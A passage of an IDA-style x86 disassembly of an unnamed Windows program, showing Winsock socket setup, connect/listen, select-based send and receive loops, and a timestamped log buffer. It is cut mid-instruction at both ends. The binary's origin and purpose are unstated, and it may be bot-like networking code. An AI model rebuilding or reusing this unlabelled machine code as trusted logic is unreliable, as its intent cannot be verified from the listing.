[esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D8085 call sub_401118 retn sub_419A70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: ___:0040150Fj sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_419AE3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_419AE3 mov [esp+18h], eax loc_419AE3: ; CODE XREF: ___:00419ACBj ; ___:00419ADDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_508E3C loc_419AF8: ; CODE XREF: ___:00419B49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419B4B cmp byte ptr [esi], 0 jz short loc_419B34 mov eax, [esp+30h] test eax, eax jz short loc_419B28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419B28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419B34 loc_419B28: ; CODE XREF: ___:00419B0Fj ; ___:00419B17j push edi push esi push ebx push ebp call sub_40152D add esp, 10h loc_419B34: ; CODE XREF: ___:00419B07j ; ___:00419B26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50CE3C mov [esp+14h], edx jl short loc_419AF8 loc_419B4B: ; CODE XREF: ___:00419B02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419B90: ; CODE XREF: ___:00402289j push ebx mov ebx, dword_511B04 push esi push edi mov edi, [esp+10h] mov esi, offset dword_508E3C loc_419BA2: ; CODE XREF: ___:00419BBEj cmp byte ptr [esi], 0 jz short loc_419BB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419BC6 loc_419BB2: ; CODE XREF: ___:00419BA5j add esi, 80h cmp esi, offset dword_50CE3C jl short loc_419BA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419BC6: ; CODE XREF: ___:00419BB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419BE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27D0000h mov edi, dword_511B08 mov esi, offset dword_50CE3C loc_419BFB: ; CODE XREF: sub_419BE0+3Bj cmp byte ptr [esi], 0 jz short loc_419C0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419C0F: ; CODE XREF: sub_419BE0+1Ej sub esi, 80h cmp esi, offset dword_508E3C jge short loc_419BFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_508E3C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419BE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419CB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_511B08 push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419D21 mov [edx+180h], al loc_419D21: ; CODE XREF: ___:00419D19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419E32 loc_419D3F: ; CODE XREF: ___:00419E25j lea edx, [esp+10h] push ebx push edx call near ptr 77C47C60h nop mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419E00 lea eax, [ebx-1] test eax, eax jz short loc_419E00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419DDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5F74D1 add esp, 14h jmp short loc_419E00 ; --------------------------------------------------------------------------- loc_419DDD: ; CODE XREF: ___:00419DAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5F74D1 add esp, 10h loc_419E00: ; CODE XREF: ___:00419D8Aj ; ___:00419D91j ... mov edx, [esp+61Ch] mov esi, dword_511B04 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419E2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419D3F loc_419E2B: ; CODE XREF: ___:00419E16j mov esi, [esp+614h] loc_419E32: ; CODE XREF: ___:00419D39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419ED0: ; CODE XREF: ___:004018DEj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419EEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419EEE: ; CODE XREF: ___:00419EE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax call near ptr 71AB2B66h nop lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419F39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F39: ; CODE XREF: ___:00419F2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419F51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F51: ; CODE XREF: ___:00419F47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419F90: ; CODE XREF: ___:00401E83j push edi xor edi, edi mov eax, offset byte_4E02B5 loc_419F98: ; CODE XREF: ___:00419FA8j cmp dword ptr [eax], 0 jz short loc_419FAA add eax, 316h inc edi cmp eax, offset byte_4E7E25 jle short loc_419F98 loc_419FAA: ; CODE XREF: ___:00419F9Bj cmp edi, 13h jle short loc_419FB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419FB4: ; CODE XREF: ___:00419FADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4E01BBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5F74D1 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5F74D1 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A050 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D8745 loc_41A058: ; CODE XREF: sub_41A050+18j cmp dword ptr [eax], 0 jz short loc_41A06A add eax, 316h inc edi cmp eax, offset byte_4E02B5 jle short loc_41A058 loc_41A06A: ; CODE XREF: sub_41A050+Bj cmp edi, 13h jle short loc_41A074 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_41A074: ; CODE XREF: sub_41A050+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4D864Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5F74D1 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5F74D1 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn sub_41A050 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401C49j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43F0BC mov eax, dword_50DB08 test eax, eax jnz short loc_41A148 mov eax, dword_50DB08 inc eax mov dword_50DB08, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A155 ; --------------------------------------------------------------------------- loc_41A148: ; CODE XREF: sub_41A110+19j mov edx, dword_50DB08 inc edx mov dword_50DB08, edx loc_41A155: ; CODE XREF: sub_41A110+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_448F40 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A110 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FE6 test [esp+4+arg_0], 1 jz short loc_41A1F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj mov eax, esi pop esi retn 4 sub_41A1E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A210 proc near ; CODE XREF: sub_401FE6j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43F0BC test al, al jnz short loc_41A225 call sub_4014E7 loc_41A225: ; CODE XREF: sub_41A210+Ej mov eax, 1 mov ecx, dword_50DB08 cmp ecx, eax jle short loc_41A240 mov eax, dword_50DB08 dec eax mov dword_50DB08, eax locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j retn ; --------------------------------------------------------------------------- loc_41A240: ; CODE XREF: sub_41A210+22j jnz short locret_41A23F mov ecx, dword_50DB08 dec ecx mov dword_50DB08, ecx nop jmp near ptr 71AB4428h sub_41A210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A280: ; CODE XREF: ___:004015AAj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BFCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40196A test al, al jz loc_41A331 mov al, [esi+80Bh] test al, al jz short loc_41A2B9 mov al, 1 jmp short loc_41A331 ; --------------------------------------------------------------------------- loc_41A2B9: ; CODE XREF: ___:0041A2B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401640 push eax mov ecx, esi call sub_4020E5 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40187A mov al, bl pop edi pop ebx loc_41A331: ; CODE XREF: ___:0041A2A5j ; ___:0041A2B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A390 proc near ; CODE XREF: sub_40196Aj mov al, byte_444DB4 retn sub_41A390 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A3B0 proc near ; CODE XREF: sub_4020E5j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A3D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3D0: ; CODE XREF: sub_41A3B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A571 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A40A mov ecx, esi call sub_4014E7 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A3B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A419 push 1 jmp short loc_41A41B ; --------------------------------------------------------------------------- loc_41A419: ; CODE XREF: sub_41A3B0+63j push 0 loc_41A41B: ; CODE XREF: sub_41A3B0+67j mov ecx, esi call sub_4018CA mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax call near ptr 71AB2B66h nop mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di call near ptr 71AB406Ah nop mov ebp, dword_511C50 test eax, eax jge short loc_41A4BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j ; sub_41A3B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A56A loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_511C94 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A530 loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A545 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A514 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A545 loc_41A514: ; CODE XREF: sub_41A3B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A4FB loc_41A530: ; CODE XREF: sub_41A3B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A561 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A563 ; --------------------------------------------------------------------------- loc_41A545: ; CODE XREF: sub_41A3B0+152j ; sub_41A3B0+162j mov ecx, esi call sub_4014E7 mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A561: ; CODE XREF: sub_41A3B0+189j push 0 loc_41A563: ; CODE XREF: sub_41A3B0+193j mov ecx, esi call sub_4018CA loc_41A56A: ; CODE XREF: sub_41A3B0+106j mov byte ptr [esi+80Bh], 1 loc_41A571: ; CODE XREF: sub_41A3B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A3B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A600 proc near ; CODE XREF: sub_4014E7j push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A61A cmp eax, 0FFFFFFFFh jz short loc_41A61A push eax call near ptr 71AB9639h nop loc_41A61A: ; CODE XREF: sub_41A600+Cj ; sub_41A600+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A640 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_448F40 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A640 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6B0 proc near ; CODE XREF: sub_401492j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41A6C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A77F push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A6FB mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6FB: ; CODE XREF: sub_41A6B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41A754 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A6B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A778 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A778: ; CODE XREF: sub_41A6B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A6B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_401B95j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A7EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7EE: ; CODE XREF: sub_41A7D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A805 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A805: ; CODE XREF: sub_41A7D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A881 call sub_40196A test al, al jz short loc_41A874 mov edi, dword_511C94 loc_41A81E: ; CODE XREF: sub_41A7D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A86B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A881 loc_41A86B: ; CODE XREF: sub_41A7D0+84j call sub_40196A test al, al jnz short loc_41A81E loc_41A874: ; CODE XREF: sub_41A7D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A881: ; CODE XREF: sub_41A7D0+3Dj ; sub_41A7D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A8A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A8B6 ; --------------------------------------------------------------------------- loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j mov eax, [esi+806h] push eax nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A8D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_402108 mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A960 proc near ; CODE XREF: sub_402108j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A990 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B4F retn 0Ch sub_41A990 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AB24 mov al, [esi+80Bh] test al, al jz loc_41AB24 mov edi, dword_5118AC call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41AABC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41AABC call sub_40196A test al, al jz loc_41AABC loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AB24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax nop call near ptr 71AB2DC0h test eax, eax jz short loc_41AAAF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AB24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41AABC loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj call sub_40196A test al, al jnz loc_41AA1B loc_41AABC: ; CODE XREF: sub_41A9C0+39j ; sub_41A9C0+48j ... call sub_40196A test al, al jz short loc_41AB24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx call near ptr 71AB615Ah nop mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41AAF1 mov [ecx], eax loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AB09 test eax, eax jz short loc_41AB09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB09: ; CODE XREF: sub_41A9C0+134j ; sub_41A9C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB24: ; CODE XREF: sub_41A9C0+13j ; sub_41A9C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A9C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ABA0: ; CODE XREF: ___:00401622j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41ABF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41ABF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41ABD2 mov [ecx], eax loc_41ABD2: ; CODE XREF: ___:0041ABCEj cmp eax, 0FFFFFFFFh jz short loc_41ABE0 test eax, eax jz short loc_41ABE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41ABE0: ; CODE XREF: ___:0041ABD5j ; ___:0041ABD9j call near ptr 71AB94DCh nop cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41ABF1: ; CODE XREF: ___:0041ABA9j ; ___:0041ABB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC20: ; CODE XREF: ___:004019BFj push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AC3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC3C: ; CODE XREF: ___:0041AC32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC52 loc_41AC48: ; CODE XREF: ___:0041AC8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC52: ; CODE XREF: ___:0041AC46j mov eax, 